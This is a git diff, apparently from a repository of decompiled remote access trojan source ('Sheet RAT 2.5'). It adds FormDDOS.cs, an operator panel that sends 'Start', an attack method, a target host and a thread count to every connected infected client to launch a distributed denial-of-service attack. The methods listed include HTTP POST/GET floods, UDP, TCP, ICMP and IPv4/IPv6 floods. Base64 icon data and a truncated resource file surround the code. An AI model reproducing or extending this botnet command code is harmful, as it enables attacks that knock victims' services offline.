AA/wAAAP8BAQH/AQEB/wEBAf0BAQFsAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAYgBAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQGIAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEUAQEBmQEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQGZAQEBFAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAR8BAQGfAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQGfAQEBHwEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBHwEBAZkBAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQGZAQEBHwEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEUAQEBiAEBAf0BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf0BAQGIAQEBFAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQFsAQEB2gEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAdoBAQFsAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAUQBAQGrAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAasBAQFEAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBEQEBAXIBAQHQAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB0AEBAXIBAQERAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBLAEBAYMBAQHYAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQHYAQEBgwEBASwBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBKgEBAXcBAQHBAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAcEBAQF3AQEBKgEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBCgEBAUsBAQGKAQEBxQEBAfwBAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAfwBAQHFAQEBigEBAUsBAQEKAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEuAQEBWwEBAYMBAQGnAQEBxQEBAd4BAQHwAQEB/AAAAPwBAQHwAQEB3gEBAcUBAQGnAQEBgwEBAVsBAQEuAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEA////AAD///////AAAA//////wAAAA/////8AAAAA/////AAAAAA////4AAAAAB////AAAAAAD///wAAAAAAD//+AAAAAAAH//wAAAAAAAP/+AAAAAAAAf/4AAAAAAAB//AAAAAAAAD/4AAAAAAAAH/AAAAAAAAAP8AAAAAAAAA/gAAAAAAAAB+AAAAAAAAAHwAAAAAAAAAPAAAAAAAAAA4AAAAAAAAABgAAAAAAAAAGAAAAAAAAAAYAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAYAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAcAAAAAAAAADwAAAAAAAAAPgAAAAAAAAB+AAAAAAAAAH8AAAAAAAAA/wAAAAAAAAD/gAAAAAAAAf/AAAAAAAAD/+AAAAAAAAf/4AAAAAAAB//wAAAAAAAP//gAAAAAAB///AAAAAAAP///AAAAAAD///+AAAAAAf///8AAAAAD////8AAAAA/////8AAAAP/////8AAAD///////AAD///8L + + \ No newline at end of file diff --git a/Server/Server/Forms/FormDDOS.cs b/Server/Server/Forms/FormDDOS.cs new file mode 100644 index 0000000..09138b1 --- /dev/null +++ b/Server/Server/Forms/FormDDOS.cs @@ -0,0 +1,251 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormDDOS +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormDDOS : MetroForm +{ + public List plugins = new List(); + private IContainer components; + public MetroComboBox MethodsAttack; + public NumericUpDown Threads; + private MetroLabel metroLabel4; + public MetroTextBox Host; + public MetroButton metroButton1; + private Timer timer1; + + public FormDDOS() => this.InitializeComponent(); + + private void FormDDOS_Load(object sender, EventArgs e) + { + this.FormClosing += (FormClosingEventHandler) ((t, p) => + { + Program.form.DDosActive = false; + this.metroButton1.Text = "Start"; + p.Cancel = true; + this.Hide(); + this.Refresh(); + foreach (Clients clients in this.ClientsAll()) + clients.Disconnected(); + this.plugins.Clear(); + }); + if (Customs.customs.Theme == MetroThemeStyle.Dark && Customs.customs.Style == MetroColorStyle.Lime) + return; + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.metroButton1.Style = Customs.customs.Style; + this.MethodsAttack.Style = Customs.customs.Style; + this.Host.Style = Customs.customs.Style; + this.metroLabel4.Style = Customs.customs.Style; + this.Style = Customs.customs.Style; + this.Threads.ForeColor = Customs.customs.StyleToColor(); + } + if (Customs.customs.Theme == MetroThemeStyle.Dark) + return; + this.Threads.BackColor = Customs.customs.ThemeToColor(); + this.Theme = Customs.customs.Theme; + this.metroButton1.Theme = Customs.customs.Theme; + this.MethodsAttack.Theme = Customs.customs.Theme; + this.Host.Theme = Customs.customs.Theme; + this.metroLabel4.Theme = Customs.customs.Theme; + } + + public Clients[] ClientsAll() => this.plugins.ToArray(); + + private void metroButton1_Click(object sender, EventArgs e) + { + if (this.metroButton1.Text == "Start") + { + this.metroButton1.Text = "Stop"; + foreach (Clients clients in this.ClientsAll()) + { + string message = $"Start<@>{this.MethodsAttack.Text}<@>{this.Host.Text}<@>{this.Threads.Value.ToString()}"; + clients.Send((object) message); + } + } + else + { + this.metroButton1.Text = "Start"; + foreach (Clients clients in this.ClientsAll()) + clients.Send((object) "Stop"); + } + } + + private void timer1_Tick(object sender, EventArgs e) + { + this.Text = $"D'Dos panel online[{this.plugins.Count}]"; + this.Refresh(); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormDDOS)); + this.MethodsAttack = new MetroComboBox(); + this.Host = new MetroTextBox(); + this.metroButton1 = new MetroButton(); + this.Threads = new NumericUpDown(); + this.metroLabel4 = new MetroLabel(); + this.timer1 = new Timer(this.components); + this.Threads.BeginInit(); + this.SuspendLayout(); + this.MethodsAttack.FontSize = MetroComboBoxSize.Small; + this.MethodsAttack.FormattingEnabled = true; + this.MethodsAttack.ItemHeight = 19; + this.MethodsAttack.Items.AddRange(new object[12] + { + (object) "Post method 1", + (object) "Post method 2", + (object) "Get method 1", + (object) "Get method 2", + (object) "Get method 3", + (object) "Udp", + (object) "Tcp", + (object) "Connecting", + (object) "IpV4Flood", + (object) "IpV6Flood", + (object) "ICMP", + (object) "Multi" + }); + this.MethodsAttack.Location = new Point(22, 62); + this.MethodsAttack.Margin = new Padding(2); + this.MethodsAttack.Name = "MethodsAttack"; + this.MethodsAttack.Size = new Size(324, 25); + this.MethodsAttack.Style = MetroColorStyle.Lime; + this.MethodsAttack.TabIndex = 36; + this.MethodsAttack.Theme = MetroThemeStyle.Dark; + this.MethodsAttack.UseSelectable = true; + this.MethodsAttack.UseStyleColors = true; + this.Host.CustomButton.Image = (Image) null; + this.Host.CustomButton.Location = new Point(302, 1); + this.Host.CustomButton.Name = ""; + this.Host.CustomButton.Size = new Size(21, 21); + this.Host.CustomButton.Style = MetroColorStyle.Blue; + this.Host.CustomButton.TabIndex = 1; + this.Host.CustomButton.Theme = MetroThemeStyle.Light; + this.Host.CustomButton.UseSelectable = true; + this.Host.CustomButton.Visible = false; + this.Host.Lines = new string[1]{ "host" }; + this.Host.Location = new Point(22, 105); + this.Host.MaxLength = (int) short.MaxValue; + this.Host.Name = "Host"; + this.Host.PasswordChar = char.MinValue; + this.Host.ScrollBars = ScrollBars.None; + this.Host.SelectedText = ""; + this.Host.SelectionLength = 0; + this.Host.SelectionStart = 0; + this.Host.ShortcutsEnabled = true; + this.Host.Size = new Size(324, 23); + this.Host.Style = MetroColorStyle.Lime; + this.Host.TabIndex = 37; + this.Host.Text = "host"; + this.Host.Theme = MetroThemeStyle.Dark; + this.Host.UseSelectable = true; + this.Host.UseStyleColors = true; + this.Host.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.Host.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.metroButton1.Location = new Point(22, 149); + this.metroButton1.Name = "metroButton1"; + this.metroButton1.Size = new Size(94, 27); + this.metroButton1.Style = MetroColorStyle.Lime; + this.metroButton1.TabIndex = 38; + this.metroButton1.Text = "Start"; + this.metroButton1.Theme = MetroThemeStyle.Dark; + this.metroButton1.UseSelectable = true; + this.metroButton1.UseStyleColors = true; + this.metroButton1.Click += new EventHandler(this.metroButton1_Click); + this.Threads.BackColor = Color.Black; + this.Threads.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.Threads.ForeColor = Color.FromArgb(165, 219, 0); + this.Threads.Increment = new Decimal(new int[4] + { + 5, + 0, + 0, + 0 + }); + this.Threads.Location = new Point(121, 149); + this.Threads.Margin = new Padding(2); + this.Threads.Maximum = new Decimal(new int[4] + { + 2000000, + 0, + 0, + 0 + }); + this.Threads.Minimum = new Decimal(new int[4] + { + 10, + 0, + 0, + 0 + }); + this.Threads.Name = "Threads"; + this.Threads.Size = new Size(55, 20); + this.Threads.TabIndex = 39; + this.Threads.TextAlign = HorizontalAlignment.Center; + this.Threads.UpDownAlign = LeftRightAlignment.Left; + this.Threads.Value = new Decimal(new int[4] + { + 10, + 0, + 0, + 0 + }); + this.metroLabel4.AutoSize = true; + this.metroLabel4.Location = new Point(180, 149); + this.metroLabel4.Margin = new Padding(2, 0, 2, 0); + this.metroLabel4.Name = "metroLabel4"; + this.metroLabel4.Size = new Size(74, 19); + this.metroLabel4.Style = MetroColorStyle.Lime; + this.metroLabel4.TabIndex = 40; + this.metroLabel4.Text = "<- Threads"; + this.metroLabel4.Theme = MetroThemeStyle.Dark; + this.metroLabel4.UseStyleColors = true; + this.timer1.Enabled = true; + this.timer1.Interval = 5000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(389, 224 /*0xE0*/); + this.Controls.Add((Control) this.metroLabel4); + this.Controls.Add((Control) this.Threads); + this.Controls.Add((Control) this.metroButton1); + this.Controls.Add((Control) this.Host); + this.Controls.Add((Control) this.MethodsAttack); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormDDOS); + this.Style = MetroColorStyle.Lime; + this.Text = "D'Dos panel online[0]"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormDDOS_Load); + this.Threads.EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/FormDDOS.resx b/Server/Server/Forms/FormDDOS.resx new file mode 100644 index 0000000..a567bcf --- /dev/null +++ b/Server/Server/Forms/FormDDOS.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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